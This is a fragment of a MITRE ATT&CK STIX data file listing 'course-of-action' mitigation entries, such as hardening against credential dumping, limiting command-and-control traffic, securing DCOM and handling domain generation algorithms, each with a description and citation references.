                    "url": "https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx"
                }
            ],
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            "type": "course-of-action",
            "modified": "2020-01-17T16:45:23.678Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "id": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Create Account Mitigation",
            "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1136",
                    "external_id": "T1136"
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            ],
            "object_marking_refs": [
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            "type": "course-of-action",
            "modified": "2019-07-24T18:11:24.572Z",
            "created": "2018-10-17T00:14:20.652Z",
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        },
        {
            "created": "2019-06-11T16:47:12.859Z",
            "modified": "2020-03-31T13:09:22.442Z",
            "type": "course-of-action",
            "id": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26",
            "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.",
            "name": "Credential Access Protection",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1043",
                    "url": "https://attack.mitre.org/mitigations/M1043"
                }
            ],
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            "id": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Credential Dumping Mitigation",
            "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.",
            "external_references": [
                {
                    "external_id": "T1003",
                    "url": "https://attack.mitre.org/mitigations/T1003",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "source_name": "Microsoft Securing Privileged Access"
                },
                {
                    "source_name": "Microsoft LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
                },
                {
                    "source_name": "TechNet Credential Guard",
                    "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard"
                },
                {
                    "source_name": "GitHub SHB Credential Guard",
                    "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard"
                },
                {
                    "url": "https://adsecurity.org/?p=1729",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "source_name": "AdSecurity DCSync Sept 2015"
                },
                {
                    "source_name": "Microsoft Replication ACL",
                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"
                },
                {
                    "source_name": "Microsoft Disable NTLM Nov 2012",
                    "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.",
                    "url": "https://technet.microsoft.com/library/jj865668.aspx"
                }
            ],
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            "type": "course-of-action",
            "modified": "2020-01-17T16:45:23.442Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "modified": "2019-07-24T18:12:19.081Z",
            "type": "course-of-action",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Credentials in Files Mitigation",
            "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1081",
                    "external_id": "T1081"
                },
                {
                    "source_name": "Microsoft MS14-025",
                    "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.",
                    "url": "http://support.microsoft.com/kb/2962486"
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Credentials in Registry Mitigation",
            "description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1214",
                    "external_id": "T1214"
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            "type": "course-of-action",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Custom Command and Control Protocol Mitigation",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1094",
                    "external_id": "T1094"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2019-07-24T18:13:22.017Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Custom Cryptographic Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1024",
                    "external_id": "T1024"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                    "external_id": "T1038",
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                    "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx",
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                    "url": "https://attack.mitre.org/mitigations/T1073",
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                    "url": "https://attack.mitre.org/mitigations/T1488",
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                    "external_id": "T1488"
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                {
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "source_name": "Ready.gov IT DRP"
                },
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
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            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1132",
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                    "source_name": "University of Birmingham C2",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
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            "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)\n\nIn some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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            "description": "Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.",
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            "name": "Data Transfer Size Limits Mitigation",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2019-07-24T19:05:56.488Z",
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            "name": "Data from Information Repositories Mitigation",
            "description": "To mitigate adversary access to information repositories for collection:\n\n* Develop and publish policies that define acceptable information to be stored\n* Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization\n* Enforce the principle of least-privilege\n* Periodic privilege review of accounts\n* Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1213",
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
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                    "external_id": "T1039",
                    "url": "https://attack.mitre.org/mitigations/T1039",
                    "source_name": "mitre-attack"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            ],
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            "modified": "2020-01-17T16:45:23.688Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
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                    "external_id": "T1491",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1491"
                },
                {
                    "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.",
                    "url": "https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/",
                    "source_name": "OWASP Top 10 2017"
                }
            ],
            "description": "Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.",
            "name": "Defacement Mitigation",
            "id": "course-of-action--5d8507c4-603e-4fe1-8a4a-b8241f58734b",
            "type": "course-of-action",
            "modified": "2020-07-14T22:23:56.026Z",
            "created": "2019-04-08T17:51:41.510Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Deobfuscate/Decode Files or Information Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1140",
                    "url": "https://attack.mitre.org/mitigations/T1140",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "type": "course-of-action",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1042",
                    "url": "https://attack.mitre.org/mitigations/M1042"
                }
            ],
            "name": "Disable or Remove Feature or Program",
            "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.",
            "id": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "type": "course-of-action",
            "modified": "2020-03-31T13:12:04.776Z",
            "created": "2019-06-11T16:45:19.740Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Disabling Security Tools Mitigation",
            "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1089",
                    "external_id": "T1089"
                }
            ],
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            "type": "course-of-action",
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            "created": "2018-10-17T00:14:20.652Z",
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            "name": "Distributed Component Object Model Mitigation",
            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)",
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                    "url": "https://attack.mitre.org/mitigations/T1175",
                    "external_id": "T1175"
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                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft System Wide Com Keys",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft COM ACL",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc771387.aspx",
                    "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.",
                    "source_name": "Microsoft Disable DCOM"
                },
                {
                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
                    "source_name": "Microsoft Protected View"
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                    "source_name": "mitre-attack",
                    "external_id": "M1055",
                    "url": "https://attack.mitre.org/mitigations/M1055"
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            ],
            "name": "Do Not Mitigate",
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            "type": "course-of-action",
            "modified": "2019-07-23T14:44:24.727Z",
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            "name": "Domain Fronting Mitigation",
            "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1172",
                    "external_id": "T1172"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html",
                    "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.",
                    "source_name": "FireEye APT29 Domain Fronting With TOR March 2017"
                },
                {
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "source_name": "Mandiant No Easy Breach"
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            ],
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            "type": "course-of-action",
            "modified": "2019-07-24T19:12:36.946Z",
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                {
                    "external_id": "T1483",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1483"
                },
                {
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
                    "source_name": "Cybereason Dissecting DGAs"
                },
                {
                    "source_name": "Cisco Umbrella DGA Brute Force",
                    "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/",
                    "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019."
                },
                {
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
                    "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html",
                    "source_name": "Akamai DGA Mitigation"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "description": "This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "name": "Domain Generation Algorithms Mitigation",
            "id": "course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b",
            "type": "course-of-action",
            "modified": "2019-07-24T19:13:31.378Z",
            "created": "2019-02-18T17:22:57.941Z",
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                    "external_id": "T1482",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1482"
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                    "source_name": "Harmj0y Domain Trusts",
                    "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/",
                    "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."
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            ],
            "description": "Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)",
            "name": "Domain Trust Discovery Mitigation",
            "id": "course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e",
            "type": "course-of-action",
            "modified": "2020-09-17T18:26:17.815Z",
            "created": "2019-02-15T13:04:25.150Z",
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            "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.",
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                    "url": "https://attack.mitre.org/mitigations/T1189",
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                    "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/",
                    "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.",
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                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape"
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                    "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/",
                    "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.",
                    "source_name": "TechNet Moving Beyond EMET"
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                    "url": "https://en.wikipedia.org/wiki/Control-flow_integrity",
                    "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.",
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            "description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.",
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                {
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                    "url": "https://attack.mitre.org/mitigations/T1157",
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            "name": "Dynamic Data Exchange Mitigation",
